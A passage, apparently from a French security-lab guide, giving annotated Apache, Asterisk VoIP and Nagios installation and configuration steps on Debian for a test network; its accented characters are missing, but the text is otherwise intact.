(de lauthentification ; peut tre faux # si le code de retour de statut (%s) est 401) # %U Url demande, ninclut aucune chane de requte. # %v Nom canonique de ServerName du serveur qui rpond # la requte. # %V Nom du serveur en fonction du paramtre UseCanonicalName. # %X Statut de la connexion une fois la rponse envoye. # X = connexion annule avant la rponse complte. # + = la connexion peut tre maintenue aprs lenvoi de # la rponse. # - = la connexion sera ferme aprs lenvoi de la rponse. # %I Octets reus, incluant len-tte et la requte, ne peut tre # nul. Vous devez activer //mod_logio// pour lutiliser. # %O Octets envoys, incluant len-tte, ne peut tre nul. # Vous devez activer //mod_logio// pour lutiliser.
# en-tte envoy au client propos du serveur # Prod Server: Apache # Major Server: Apache/2 # Minor Server: Apache/2.0 # Min Server: Apache/2.0.41 # OS Server: Apache/2.0.41 (Unix) # Full (ou non spcifi) Server: Apache/2.0.41 (Unix) PHP/4.2.2 MyMod/1.2 ServerTokens Prod
# Pied de page renvoy par le serveur # utile pour dterminer quel serveur proxy gnre une erreur, dans le cas # o plusieurs serveurs sont utiliss ServerSignature Off
# Inclusion des fichiers, contenus dans le dossier des mods, qui sont # activs Include /etc/apache2/mods-enabled/*.load Include /etc/apache2/mods-enabled/*.conf
# Inclusion de lancien fichier de configuration dApache # des fins de compatibilits ascendantes. Include /etc/apache2/httpd.conf
# Inclusion du fichier de configuration des adresses et ports # sur lesquels le serveur sera lcoute Include /etc/apache2/ports.conf
# Inclusion dautres fichiers de configuration Include /etc/apache2/conf.d/
# inclusion des configurations des sites actifs Include /etc/apache2/sites-enabled/
# Directive des alias <IfModule alias_module> # alias des icnes dApache # nom de lalias, rpertoire vers lequel pointe lalias Alias /icons "/usr/share/apache2/icons/" <Directory "/usr/share/apache2/icons"> Options None AllowOverride None Order allow,deny Allow from all </Directory>
# alias pour awstats Alias /awstats-icon "/usr/share/awstats/icon" ScriptAlias /awstats "/usr/lib/cgi-bin/" <Directory "/usr/share/awstats/icon"> Options None #Indexes MultiViews AllowOverride None Order allow,deny Allow from all </Directory> </IfModule>
# module dinformation sur le statut du serveur <IfModule mod_status.c> <Location /server-status> SetHandler server-status Order deny,allow Deny from all Allow from 127.0.0.1 </Location> </IfModule>
# module des informations du serveur <IfModule mod_info.c> <Location /server-info> SetHandler server-info Order deny,allow Deny from all Allow from 127.0.0.1 </Location> </IfModule> Le fichier sites-available contient les diffrents vhosts que nous utiliserons. Les vhosts nous permettent de dfinir plusieurs sites sur une mme machine, le plus souvent des sous-domaines (www.domain.tld, machin.domain.tld), mais aussi dautres domaines (domain.tld, autredomain.tld). Nous pouvons donc ouvrir le fichier /etc/apache2/sites-available/default et le configurer comme suit : # NameVirtualHost dfinit les IPs utiliser par apache, # * signifie quon utilise nimporte quelle IP pour accder au serveur # 127.0.0.1 (boucle locale), 192.168.x.x (ip reseau local), ou une IP # externe. # Cette directive est en dehors du vhost, on pourrait donc la dplacer # dans apache2.conf. # Dans tous les cas, si elle est dfinie *, elle ne doit pas tre # reprise dans les autres vhosts. NameVirtualHost *:80
# Le vhost proprement dit : il est compris dans un bloc <VirtualHost>. # Ces blocs dfinissent la "porte" de la validit des directives qui # y sont dfinies. # Le * derrire VirtualHost dfinit ici que le vhost est valable pour # toutes les IP sur lesquelles Apache coute. <VirtualHost domain.tld:80> # ServerName dfinit le nom utilis pour le vhost. Mettez le nom # de lhte du domaine ServerName www.domain.tld # ServerAlias dfinit les autres sous-domaines pour lesquels le # serveur rpondra. ServerAlias domain.tld *.domain.tld # ServerAdmin vous permet de spcifier un e-mail utiliser en cas de # problme, sur une page derreur 404 par exemple. ServerAdmin [email protected] # DocumentRoot dfinit le dossier racine dans lequel seront stocks # les fichiers du site. DocumentRoot /var/www/htdocs # Directory dfinit les options par dfaut du rpertoire <Directory /var/www/htdocs> # Active les options: # FollowSymLinks permet de suivre les liens symboliques. # Indexes autorise le listage de fichiers # dun rpertoire qui ne contient pas dindex. Options Indexes FollowSymLinks MultiViews # AllowOverride permet de surcharger certaines options # en utilisant des fichiers .htaccess dans le # rpertoire du site. AllowOverride None # Droits par dfaut Order allow,deny allow from all # permet de rediriger les requtes vers un fichier # dindex prcis RedirectMatch /$ /index.php </Directory>
ErrorLog /var/log/apache2/error.domain.tld.log CustomLog /var/log/apache2/access.domain.tld.log combined </VirtualHost> Nous pouvons maintenant enregistrer ce fichier sous un autre nom (nouveau_host) et supprimer default : fasm#a2dissite default et activer le nouveau fichier : fasm#a2ensite nouveau_host Nous pouvons diter le fichier /etc/hosts et ajouter le host que nous venons de crer en insrant cette ligne : 127.0.0.1 localhost nouveau_host Pour finir, nous allons maintenant activer les scripts CGI. Pour cela, nous retournons dans le fichier de conf apache2.conf et ajoutons : ScriptAlias /cgi-bin/ /var/www/votre_site/cgi-bin/ <Directory /var/www/votre_site/cgi-bin/> Options ExecCGI AddHandler cgi-script cgi pl py </Directory> Notre configuration de base est termine ; nous pouvons lancer le serveur : fasm# /etc/init.d/apache2 start Si la configuration est bonne, nous devrions avoir, en tentant de nous connecter avec un navigateur web sur ladresse IP de notre serveur, lcran suivant :
Nous voici avec une machine virtuelle de plus configure pour accueillir des sites web. Serveur Asterisk La VoIP (Voice over IP) est maintenant partout dans les entreprises et est donc une source de failles potentielles. Il est ncessaire de pouvoir tester ces nouvelles technologies pour essayer de comprendre leur fonctionnement et de voir ce quun pirate pourrait essayer de tenter pour couter une conversation, pntrer le systme ou altrer les donnes. Nous allons donc installer Asterisk qui est le logiciel libre de VoIP le plus connu et le plus utilis. 1. Installation Nous installons le paquet asterisk : fasm#aptitude install asterisk
Une multitude de paquets seront installs, tous utiles pour asterisk. 2. Configuration Deux fichiers seulement seront ncessaires pour un fonctionnement basique dAsterisk : les fichiers sip.conf et extensions.conf qui se trouvent dans /etc/asterisk/. Nous nous contenterons de la configuration basique. Asterisk est trs document et nous pourrons aisment laffiner si nous le souhaitons. Les possibilits sont nombreuses, nous pourrons configurer un rpondeur et un menu vocal entre autres. a. Sip.conf Tous les comptes utilisateurs que nous voulons crer seront dfinis dans ce fichier. Nous nen dclarerons que deux pour cet exemple. Supposons que le premier utilisateur est fasm et ajoutons la configuration ci-dessous dans le fichier sip.conf : [fasm] type=friend host=dynamic user=fasm secret=acissi context=default [fasm] est le dbut du bloc SIP. Les informations prsentes aprs cette ligne concerneront le compte de lutilisateur fasm. type=friend permet dappeler et dtre appel. host=dynamic ladresse IP du client est dfinie par DHCP. Si son IP tait fixe, nous laurions prcise ici. user=fasm est le nom de lutilisateur. secret=acissi est le mot de passe en clair. context=default est le contexte auquel le compte est associ dans le dialplan (servira pour le fichier extensions.conf), le dialplan tant une suite dinstructions numrotes, que nous verrons un peu plus loin dans le chapitre, qui seront excutes dans un ordre prcis. Notez quen utilisant secret, le mot de passe est stock en clair. Il est prfrable dutiliser md5secret, qui, comme son nom lindique, utilisera une empreinte md5. Voici la structure ncessaire pour la gnration du hash : <user>:<realm>:<secret> Par dfaut, le realm est asterisk. Pour gnrer lempreinte MD5 de lutilisateur fasm qui a pour mot de passe acissi avec bash, nous ferons donc : $ echo -n "fasm:asterisk:acissi" | md5sum 43247d05bb29adf5e9c8aef26992fcfe - Nous pouvons bien sr affiner la configuration dAsterisk pour ce fichier mais le but est ici davoir une base fonctionnelle rapidement. Nous nous arrterons donc l pour la configuration de lutilisateur fasm. Nous pouvons faire de mme pour un autre utilisateur. [codej] type=friend host=dynamic user=codej secret=acissi context=default Nous pouvons passer la configuration du deuxime fichier. b. Extensions.conf Ce fichier va nous permettre de dfinir le plan de la numrotation qui est appel dialplan, cest--dire que lon va dfinir les actions qui seront effectues quand on composera un numro. Cela sera de la forme : [default] exten => 555,1,Dial(SIP/fasm) Le context ([default]) est une zone o la porte des actions est limite. Cela permet par exemple dattribuer deux numros identiques des utilisateurs diffrents, lun ou lautre sera contact suivant le contexte dfini dans le compte SIP de lutilisateur cherchant les joindre. Le fichier de configuration est assez difficile lire au premier abord car il est trs document. Il nous faudra prter attention lendroit o nous ajouterons la ligne ci-dessous. Il faudra bien se trouver dans la partie [default]. La ligne contenant exten nous montre comment enregistrer une extension. Nous commenons par le mot-cl exten suivi dune flche =>. 555 est le numro que nous souhaitons associer, cest le numro que nous composerons sur le tlphone. 1 est le numro de squence. Nous pouvons en effet ordonner plusieurs actions pour une mme extension, nous verrons cela un peu plus loin. Dial(SIP/fasm) est laction effectuer. Nous appelons ici la fonction Dial(), qui dclenche lappel, avec pour argument SIP/fasm pour appeler le compte SIP fasm. Ici donc, pour tous les utilisateurs du contexte default, composer le 555 appellera fasm. Si nous souhaitons, avant dappeler la personne, attendre quelques secondes, par exemple 3 secondes, nous allons chaner les instructions : [default] exten => 100,1,Dial,wait(3) exten => 100,2,Dial,SIP/fasm Nous avons dans lexemple ci-dessus une suite dactions (1 et 2) mais nous pouvons chaner comme cela plusieurs actions, par exemple : exten => 555,1,Answer exten => 555,2,Playback(tt-weasels) exten => 555,3,Voicemail(44) exten => 555,4,Hangup Quand 555 est appel, Asterisk rpond de lui-mme (Answer) et joue une musique (tt- weasels) et nous donne la possibilit de laisser un message (Voicemail) sur la bote volale 44 et raccroche. Les possibilits sont multiples crer un serveur vocal, rediriger les appels... Nous pouvons approfondir la configuration si besoin car Asterisk est bien document, que ce soit sur Internet ou en ouvrages aux ditions ENI. Revenons prsent notre cas avec deux utilisateurs : [default] exten => 555,1,Dial(SIP/fasm) exten => 556,1,Dial(SIP/codej) Nous avons fait des changements dans les configurations des fichiers. Il nous faut prsent que le systme prenne en compte ces modifications. Pour toute modification de sip.conf et de extensions.conf, il est ncessaire quAsterisk recharge ces fichiers. Pour cela, nous nous connectons sur la console dAsterisk : # asterisk -rvvvvdddd (les v pour verbose, les d pour debug) Puis nous rechargeons Asterisk : reload La commande suivante permet de recharger uniquement le dialplan (extensions.conf) : dialplan reload ce moment-l, le serveur est oprationnel. fasm et codej possdent un compte SIP et un numro associ. 3. Ajout de fonctions Le transfert dappel et la mise en attente sont souvent directement implments dans les softphone (logiciels de tlphonie VoIP) et les terminaux SIP. Les manipulations suivantes permettent de les activer directement dans Asterisk, ce qui permet de saffranchir dun logiciel ou matriel particulier. a. Transfert dappel Nous devons activer les tonalits DTMF (Dual-Tone Multi-Frequency) la fois ct client et ct serveur. Le DTMF est une combinaison de frquences utilise pour la tlphonie moderne. Il est utilis quand nous composons les numros de tlphone et il a permis la cration des premiers serveurs vocaux interactifs. Pour Asterisk, il suffit dajouter la ligne suivante dans sip.conf, dans le contexte [general] ou pour chaque utilisateur : dtmfmode = rfc2833 Nous devrons regarder du ct des paramtres SIP du ct client pour activer cette option. Pour activer le transfert dappel, il suffit tout simplement de modifier les paramtres de la fonction Dial dans extensions.conf : exten => 555,2,Dial(SIP/fasm,,tT) Aprs SIP/fasm, nous avons ajout les options t et T qui autorisent lappel et lappelant transfrer lappel. Pour effectuer le transfert, il faut appuyer durant une communication sur le signe # (on entend ce moment-l transfert ) suivi du numro sur lequel on souhaite transfrer lappel. b. Mise en attente La mise en attente permet de mettre une communication en pause, ce qui peut parfois tre trs utile pour ne pas perdre un client. Cela est trs utile, car de ce fait, la ligne est libre. Nous pouvons alors composer un autre numro ou rcuprer lappel sur un autre poste. Il est l aussi ncessaire dactiver les tonalits DTMF. Pour activer la mise en attente, il suffit dajouter la ligne suivante dans le contexte [default] du fichier extensions.conf : include=>parkedcalls Pour mettre son interlocuteur en attente lors dun appel, il faut composer le #700. Le serveur attribue un numro au sein du parc dattente. On peut alors raccrocher, changer de poste et reprendre lappel en composant le numro annonc par le serveur. c. Messagerie vocale Si nous voulons que la voix de la messagerie soit en franais, il faut le spcifier lors de la compilation dAsterisk laide de la commande : fasm$ make menuselect Il faut ensuite ajouter dans le contexte [general] de sip.conf la ligne suivante : language=fr Nous pouvons crer ensuite une bote vocale dans le fichier /etc/asterisk/voicemail.conf, dans le contexte [default] : 100 => 1010,fasm, [email protected] 100 est le numro de tlphone auquel on associe la bote vocale. 1010 est le mot de passe de la messagerie. Nous avons ensuite le nom de lutilisateur ainsi que son adresse e-mail. Le-mail servira lalerter en cas de rception de message vocal, condition quun MTA (Mail Transfert Agent) soit correctement configur comme postfix ou autre. La bote vocale est maintenant dclare, il reste linclure dans extensions.conf pour quelle soit utilise : exten => 100,1,Dial(SIP/fasm, 10) exten => 100,2,Voicemail(b101) exten => 100,3,Hangup La premire action effectue lorsque nous composons le 100 est lappel de fasm. Le 10 situ aprs la virgule est la temporisation avant de passer la deuxime squence. Cest pour cela que nous avions mis deux virgules de suite dans la section transfert dappel. Une fois le timeout atteint, nous basculons sur la deuxime squence, qui est lappel de la bote vocale avec la fonction Voicemail. Enfin, nous raccrochons avec la fonction Hangup. Ds que le principe est bien compris, nous nous rendons compte quil existe une logique et il suffit de sen imprgner pour commencer apprcier Asterisk. d. Configuration du MTA pour la messagerie vocale Il est trs intressant de passer par une alerte e-mail lors de la rception dun message : lutilisateur est alors au courant du fait quil a un message, et peut lcouter directement en pice jointe. Nous retrouvons cela dans nos box (Livebox, Freebox...) o il nous est possible de recevoir un e-mail quand un message est laiss sur le rpondeur. Nous avons dj renseign ladresse e-mail de lutilisateur dans voicemail.conf, il ne nous reste plus qu configurer un MTA. Exim4 est le MTA par dfaut de Debian, nous lutiliserons donc. Nous allons commencer par reconfigurer exim4 : dpkg-reconfigure exim4-config Type de configuration : Distribution directe par SMTP (site Internet) Nom de courriel du systme :le FQDN Liste dadresses IP o Exim sera en attente de connexions SMTP entrantes : 127.0.0.1 Autres destinations dont le courriel doit tre accept : vide Domaines relayer : vide Machines relayer : vide Faut-il minimiser les requtes DNS (connexions la demande) ? Non Mthode de distribution du courrier local : Format "mbox" dans /var/mail Faut-il sparer la configuration dans plusieurs fichiers ? Non Le serveur e-mail va se relancer. Asterisk sera ds lors capable denvoyer des e-mails dalerte avec le message vocal en pice jointe. Nous avons fait un tour, rapide malgr les apparences, des possibilits relles dAsterisk. Nous pouvons crer, gratuitement et chez nous, un serveur VoIP avec toutes les options imaginables. Il nous est mme possible davoir deux serveurs des endroits diffrents et de pouvoir nous appeler entre nous en passant par ces serveurs. 4. Configuration dun client SIP Nous devons dabord installer Ekiga sur le client : fasm#aptitude install ekiga Ekiga est un logiciel de tlphonie SIP et de visioconfrence. Au premier lancement dEkiga, un assistant de configuration en 8 tapes va nous tre propos. Nous suivrons ce guide.
Pour linstant, rien de particulier, il suffit de cliquer sur Forward.
Nous indiquons ici le nom que nous voulons donner ce compte.
Nous cochons la case afin de ne pas crer de compte sur ekiga.net, ce nest pas notre but ici.
Nous placerons ici bien sr nos identifiants (compte et mot de passe) qui ont t configurs dans sip.conf dans les sections prcdentes.
Nous avons choisi ici LAN mais tout dpend de lutilisation que nous voulons en faire (rseau LAN, DSL ). Pour notre laboratoire, nous serons donc en LAN.
Cette configuration par dfaut convient trs bien pour la carte son du PC client, nous devrons ventuellement ladapter suivant le matriel du PC client.
La configuration est maintenant termine et il ne reste plus qu se connecter sur le serveur (ici, 192.168.1.3).
Nous pouvons crer un compte manuellement en allant dans Edition - Comptes puis Comptes - Ajouter un compte SIP, et ensuite remplir comme suit :
Le registraire sera ladresse IP de notre serveur Asterisk. Nous avons maintenant toutes les cartes en main pour effectuer des appels et, laide doutils spcialiss dans la Kali Linux (anciennement BackTrack), tenter des man in the middle , du sniffing et autres... Nagios Nous venons dinstaller diffrents services, chacun dans des machines virtuelles diffrentes. Mais comment, part linterface de Proxmox, surveiller le fonctionnement de ces dernires et voir les ventuels changements dans ltat des services ? Il nous faut superviser tout cela, Nagios est fait pour nous. Nagios est loutil idal de surveillance : nous pourrons tout moment visualiser par exemple larrt dun service ou son dmarrage, ou toute autre modification sur un client distant (ordinateur, switch, routeur...). Nous voil donc avec une nouvelle machine virtuelle avec une distribution Debian Squeeze installe. La mise jour a t effectue. Pour tre sr que nous pointons vers les bons dpts, nous vrifierons que la liste des dpts dans /etc/sources.list est bien identique celle-ci : deb http://ftp.fr.debian.org/debian/ squeeze main deb-src http://ftp.fr.debian.org/debian/ squeeze main
deb http://security.debian.org/ squeeze/updates main deb-src http://security.debian.org/ squeeze/updates main
# squeeze-updates, previously known as volatile deb http://ftp.fr.debian.org/debian/ squeeze-updates main deb-src http://ftp.fr.debian.org/debian/ squeeze-updates main Nous pourrons installer Nagios de plusieurs faons diffrentes : soit en compilant les fichiers sources que nous pouvons trouver sur le site de Nagios, soit en utilisant les dpts officiels (cela dpend donc de la distribution). Nous allons donc voir par la suite ces deux mthodes. 1. Nagios avec les fichiers sources a. Installation Nagios dpend de nombreux paquets dans son fonctionnement. Nous commencerons donc grce la commande aptitude ou apt-get par les installer. fasm#aptitude install php5-gd postfix fping snmp ntp smbclient nmap saidar traceroute php5-snmp curl gettext Nous aurons aussi besoin de lenvironnement de compilation : fasm#aptitude install build-essential Nous voil prts pour linstallation de Nagios. Nagios a besoin dun utilisateur pour fonctionner, mais aussi dun rpertoire local o seront installs les fichiers de configuration et les binaires. Nous crerons dabord grce la commande mkdir le rpertoire nagios dans /usr/local. #fasm#mkdir /usr/local/nagios Nous pouvons ds prsent crer un groupe nagios, un groupe nagcmd (commande groupadd) et crer lutilisateur nagios (commande useradd). fasm#groupadd -g 9000 nagios fasm#groupadd -g 9001 nagcmd fasm#useradd -u 9000 -g nagios -G nagcmd -d /usr/local/nagios -c "Nagios Admin" nagios Les commandes ci-dessus sont bien sr disponibles sur le site de Nagios (http://www.nagios.org/) dans longlet Documentation. Des librairies de dveloppement sont aussi indispensables afin de pouvoir compiler Nagios : fasm#aptitude install libperl-dev libgd2-xpm-dev libltdl3-dev linux-headers-`uname -r` Pour finir avec les librairies, installons-en une spcifique pour Nagios 3. Nous linstallons ici part mais nous aurions pu, bien entendu, linstaller en mme temps que les autres librairies. fasm#aptitude install libglib2.0-dev Nous arrivons enfin la partie propre de Nagios, le tlchargement et linstallation du paquet nagios. La commande wget va nous permettre de tlecharger le paquet voulu sur le site SourceForge. Nous pourrons choisir le dernier paquet en date. Ce dernier est un fichier compress en tar.gz, ltape suivante sera donc de dcompresser ce fichier (tar -xzf : pour plus dinformation sur cette commande, nous pourrons aller voir le man sur notre machine Linux). Une fois ce fichier dcompress, nous pourrons, grce la commande ls, visualiser les fichiers de Nagios. Nous trouverons un fichier README qui explique comment installer le paquet. Cest partir des informations de ce fichier README que nous excuterons les commandes suivantes : fasm#wget http://prdownloads.sourceforge.net/sourceforge/nagios/ nagios-3.3.1.tar.gz fasm#tar -xzf nagios-3.3.1.tar.gz fasm#cd nagios fasm#./configure --prefix=/usr/local/nagios --with-nagios- user=nagios --with-nagios-group=nagios --with-command-user=nagios --with-command-group=nagcmd --enable-event-broker --enable- nanosleep --enable-embedded-perl -with-perlcache fasm#make all fasm#make install fasm#make install-init fasm#make install-commandmode fasm#make install-config fasm#make install-webconf Cest une installation assez classique avec dans un premier temps le ./configure qui va permettre de vrifier notre configuration. Les options donnes ci-dessus sont aussi extraites de la documentation Nagios. Nous pouvons ensuite effectuer les diffrentes make ncessaires cette installation. Nous allons passer la cration du fichier dutilisateur : htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin chown nagios:nagcmd /usr/local/nagios/etc/htpasswd.users
Nagios utilise Apache que nous avons vu dans une section prcdente. Nous ajouterons donc lutilisateur apache au groupe nagcmd pour pouvoir excuter les commandes externes de Nagios depuis linterface (ex : nagcmd:x:9001:www-data). adduser www-data nagcmd /etc/init.d/apache2 restart Si nous souhaitons que Nagios dmarre chaque redmarrage de la machine, nous devons lindiquer la machine grce la commande update-rc. chmod +x /etc/init.d/nagios update-rc.d nagios defaults Nous pouvons maintenant dmarrer Nagios. /etc/init.d/nagios start La dernire tape va consister installer les plug-ins manquants : fasm#apt-get install libgnutls-dev libmysqlclient15-dev libssl-dev libsnmp-perl libkrb5-dev libldap2-dev libsnmp-dev libnet-snmp-perl gawk libwrap0-dev libmcrypt-dev fping snmp gettext smbclient dnsutils fasm#wget http://prdownloads.sourceforge.net/sourceforge/nagiosplug/nagios- plugins-1.4.15.tar.gz fasm#tar -xzf nagios-plugins-1.4.15.tar.gz fasm#cd nagios-plugins-1.4.15/ fasm#./configure --with-nagios-user=nagios --with-nagios- group=nagios --enable-libtap --enable-extra-opts -enable-perl- modules fasm#make fasm#make install De la mme manire que prcdemment, nous allons dabord aller rechercher le paquet des plug-ins Nagios sur le site de SourceForge et lancer notre ./configure puis le make et le make install. b. Configuration Nous allons copier ceci dans le fichier httpd.conf. Ces fichiers sont repris de la documentation officielle de Nagios sur le site http://www.nagios.org/ : ScriptAlias /nagios/cgi-bin /usr/local/nagios/sbin
<Directory "/usr/local/nagios/sbin"> Options ExecCGI AllowOverride None Order allow,deny Allow from all AuthName "Nagios Access" AuthType Basic AuthUserFile /usr/local/nagios/etc/htpasswd.users Require valid-user </Directory>
Alias /nagios /usr/local/nagios/share
<Directory "/usr/local/nagios/share"> Options None AllowOverride None Order allow,deny Allow from all AuthName "Nagios Access" AuthType Basic AuthUserFile /usr/local/nagios/etc/htpasswd.users Require valid-user </Directory> Un fichier htacces va nous tre ncessaire afin de pouvoir scuriser par la demande dun login et dun mot de passe laccs Nagios : htpasswd -c /usr/local/nagios/etc/htpasswd.users adminnagios Nous devons ajouter un utilisateur, nous mettrons bien entendu la place de <username> le nom de lutilisateur souhait : htpasswd /usr/local/nagios/etc/htpasswd.users <username> Comme nous venons de modifier les fichiers de configuration, nous allons devoir relancer les services Apache et Nagios. fasm#invoke-rc.d apache2 reload fasm#service httpd restart fasm#invoke-rc.d nagios reload fasm#service nagios restart Notre configuration manuelle est termine : nous pouvons ds prsent utiliser Nagios. Il existe bien sr un moyen plus simple dinstallation de Nagios, si notre systme le permet : les dpts. 2. Nagios avec les dpts Si notre machine est une Debian ou une Ubuntu, la commande aptitude ou apt-get nous simplifiera grandement les choses. Pour les autres distributions, nous devrons nous rfrer la documentation pour linstallation de nouveaux paquets. fasm#aptitude install nagios3 Dans ce cas de figure, le paquet Nagios fait un lien symbolique de /etc/apache2/conf.d/nagios.conf vers /etc/nagios3/apache.conf. La configuration dApache devra ensuite tre recharge (reload) laide de la commande suivante : sudo /etc/init.d/apache2 reload Comme pour linstallation manuelle, la premire chose faire est dajouter des utilisateurs qui pourront se connecter linterface web de Nagios. Les droits daccs de linterface web se grent avec htpasswd qui est un utilitaire fourni avec le serveur Apache. a. Configuration dApache Nous pouvons vrifier, ou ajouter le cas chant, dans le fichier /etc/nagios3/apache2.conf les lignes suivantes : ScriptAlias /cgibin/nagios3 /usr/lib/cgibin/nagios3 ScriptAlias /nagios3/cgibin /usr/lib/cgibin/nagios3
<DirectoryMatch (/usr/share/nagios3/htdocs|/usr/lib/cgibin/nagios3)> Options FollowSymLinks DirectoryIndex index.html AllowOverride AuthConfig Order Allow,Deny Allow From All AuthName "Nagios Access" AuthType Basic AuthUserFile /etc/nagios3/htpasswd.users require validuser </DirectoryMatch> La configuration suivante, comme pour linstallation manuelle, est tire de la documentation officielle de Nagios. Lajout des utilisateurs se fait de la mme manire. fasm#htpasswd -c /etc/nagios3/htpasswd.users nagiosadmin Nous pouvons maintenant lancer notre navigateur web favori et tester le fonctionnement de Nagios. LURL saisir est la suivante : http://localhost/nagios3 Puis log : nagiosadmin Puis mdp : demander lors de linstallation
b. Configurer Nagios pour le rseau LAN La configuration par dfaut se trouve dans le fichier /etc/nagios3/conf.d/generic- host_nagios.cfg. Elle dfinit les paramtres par dfaut dun host, paramtres utiliss au moment du dmarrage et redmarrage de Nagios : # Generic host definition template - This is NOT a real host, just a template! define host{ name generic-host ; The name of this host template notifications_enabled 1 ; Host notifications are enabled event_handler_enabled 1 ; Host event handler is enabled flap_detection_enabled 1 ; Flap detection is enabled failure_prediction_enabled 1 ; Failure prediction is enabled process_perf_data 1 ; Process performance data retain_status_information 1 ; Retain status information across program restarts retain_nonstatus_information 1 ; Retain non-status information across program restarts check_command check-host-alive max_check_attempts 10 notification_interval 0 notification_period 24x7 notification_options d,u,r contact_groups admins register } Si nous ne configurons que ces fichiers, le check-host-alive (la vrification que les hosts, cest--dire les clients, sont en marche) ne fonctionne pas ; il nous faudra aussi au moins un service (service.cfg) configur par machine. Ce service utilisant le protocole ICMP et plus particulirement le Ping, il est donc ncessaire de vrifier que le service Ping est dfini pour chaque client. Dans la partie par dfaut de ce fichier generic-hosts_nagios2.cfg, les notifications sont actives au dmarrage. Nous allons devoir crer un fichier par machine puis nous ajouterons la passerelle (gateway) pour dfinir les diffrentes machines virtuelles correspondant larchitecture que nous avons cre prcdemment (vm_ftp, vm_web, vm_vpn...) ( adapter). Nous devrons donc : Crer le fichier /etc/nagios3/conf.d/host-gateway_nagios2.cfg et y placer les lignes suivantes : # a host definition for the gateway of the default route define host { host_name gateway alias Default Gateway address xxx.xxx.xxx.xxx use generic-host } Ajouter le service de vrification par Ping, dans /etc/nagios3/conf.d/services_nagios2.cfg : define service { hostgroup_name ping-servers service_description PING check_command check_ping!100.0,20%!500.0,60% use generic-service notification_interval 0 } Nous pouvons activer le service test Ping pour lhte gateway ; dans le fichier /etc/nagios3/conf.d/hostgroups_nagios2.cfg : define hostgroup { hostgroup_name ping-servers alias Pingable servers members gateway } La configuration tant enregistre, nous pouvons la tester. Vrifions les fichiers de configuration : nagios3 -v /etc/nagios3/nagios.cfg Rechargeons les fichiers de configuration Nagios : /etc/init.d/nagios3 reload ou service nagios3 reload Nous pouvons maintenant retourner linterface web et vrifier que le systme dtecte bien notre configuration. Un temps dattente est ncessaire ; nous devons dans certains cas attendre plusieurs minutes mais nous nhsiterons pas recharger rgulirement la page pour effectuer cette vrification. Ajoutons maintenant, toujours dans le fichier prcdent, un groupe pour les routeurs : # La liste de nos routeurs define hostgroup { hostgroup_name router-servers alias Router Servers members gateway } Si nous souhaitons changer limage (icon) de cette passerelle dans le Status Map de linterface web de Nagios3, nous devons diter le fichier /etc/nagios3/conf.d/extinfo_nagios2.cfg et ajouter les lignes suivantes : define hostextinfo{ hostgroup_name router-servers notes Router servers #/usr/share/nagios/htdocs/images/logos/base/xxxxxxxx.png icon_image base/xxxxxxxx.png icon_image_alt Router vrml_image xxxxxxxx.png statusmap_image base/xxxxxxxx40.png } Si nous souhaitons ajouter un routeur switch1, nous devons : Crer le fichier /etc/nagios3/conf.d/host-lynek_nagios2.cfg et y placer les lignes suivantes : define host{ use generic-host ; quel patron? host_name switch1 ;nom du switch alias Switch address xxx.xxx.xxx.xxx } Nous pouvons ajouter une station station1 ou tout autre nom de type Debian connect switch1. Nous devrons alors : Crer le fichier /etc/nagios3/conf.d/host-station1_nagios2.cfg et y placer les lignes suivantes : define host{ use generic-host ;quel patron host_name station1 ;nom de la machine alias Debian station address xxx.xxx.xxx.xxx parents switch1 } Activons le service test ping pour cette machine (vu prcdemment). Activons le service test http pour cette machine si elle est serveur HTTP. Crons un groupe pour les stations Debian dans le fichier /etc/nagios3/conf.d/hostgroups_nagios2.cfg. ## liste de nos VM debian define hostgroup { hostgroup_name VM_Debian alias VM Debian members station1 } Si nous souhaitons crer de nouvelles icnes pour dautres machines (Debian, Windows XP, Vista), il faut : Vrifier que les paquetages libgd-tools et netpbm sont installs. Excuter le script shell genicons.sh suivant sur une image Gif nexcdant pas 60 pixels. #!/bin/bash path="/usr/bin" echo "Usage : $0 img1_sans_extension [img2 ...]" for arg do if [ -f "$arg" ]; then echo converting $arg arg="$(echo $arg | sed s/\.gif$//)" $path/giftopnm $arg.gif > $arg.pnm $path/pnmtopng -transparent rgb:ff/ff/ff $arg.pnm > $arg.png $path/pnmtojpeg -quality=100 -optimize -smooth=0 $arg.pnm > $arg.jpg $path/pngtogd2 $arg.png $arg.gd2 0 1 fi done rm -f *.pnm On obtient ainsi 4 fichiers copier dans le rpertoire /usr/share/nagios/htdocs/images/logos/base. Slectionnons son image (icon) dans le Status Map de linterface web de Nagios dans le fichier /etc/nagios3/conf.d/extinfo_nagios2.cfg et ajoutons les lignes suivantes : define hostextinfo{ hostgroup_name VM_debian notes VM debian # notes_url http://webserver.localhost.localdomain/hostinfo.pl?host=netware1 #/usr/share/nagios3/htdocs/images/logos/base/.....png icon_image base/debian.png icon_image_alt Debian GNU/Linux vrml_image debian.png statusmap_image base/debian.gd2 } Si nous souhaitons ajouter des machines Windows XP, il faut : Ajouter un groupe xp-servers dans le fichier /etc/nagios3/conf.d/hostgroups_nagios2.cfg. Ajouter aussi ce groupe xp-servers dans le fichier /etc/nagios3/conf.d/extinfo_nagios2.cfg. Crer les fichiers images pour ce type de station. Crer le fichier /etc/nagios3/conf.d/host-stationxp1_nagios2.cfg et y placer les lignes suivantes : define host{ use generic-host ; quel patron? host_name stationxp1 ; nom de la machine alias Windows XP Station address xxx.xxx.xxx.xxx parents xxxxxx } Ajouter la station dans le service Ping et le service HTTP si ncessaire... c. Configurer Nagios pour le rseau WAN Pour ajouter une passerelle "gatewaykoala" par exemple , nous prendrons bien sr le nom que nous voulons, aprs le bloc gateway que nous avons cr plus haut, il va falloir : Crer le fichier /etc/nagios3/conf.d/host-gatewaykoala_nagios2.cfg. Y dclarer un hte "gatewaykoala" dadresse "X.X.X.X" en prcisant quil est plac aprs gateway en ajoutant la ligne parents gateway. Ne pas ajouter ce routeur dans le service Ping (il nest pas configur pour rpondre). Nous pouvons ajouter des stations aprs la passerelle gatewaykoala. Pour cela, il faut : Crer le fichier /etc/nagios2/conf.d/host-fasm_nagios2.cfg. Y dclarer un hte "fasm" dadresse "XXX.XXX.XXX.XXX" en prcisant quil est plac aprs "gatewaykoala". Accder ce serveur HTTP, en utilisant le port 8000 dont le service Nagios nexiste pas encore. Ajouter le service "http:8000" (paragraphe suivant). Nous pouvons maintenant activer les nouveaux services. Nous configurerons le monitoring de services ne ncessitant pas dautres plug-ins que ceux installs par dfaut avec Nagios. Pour ajouter le service de test "http:8000", nous 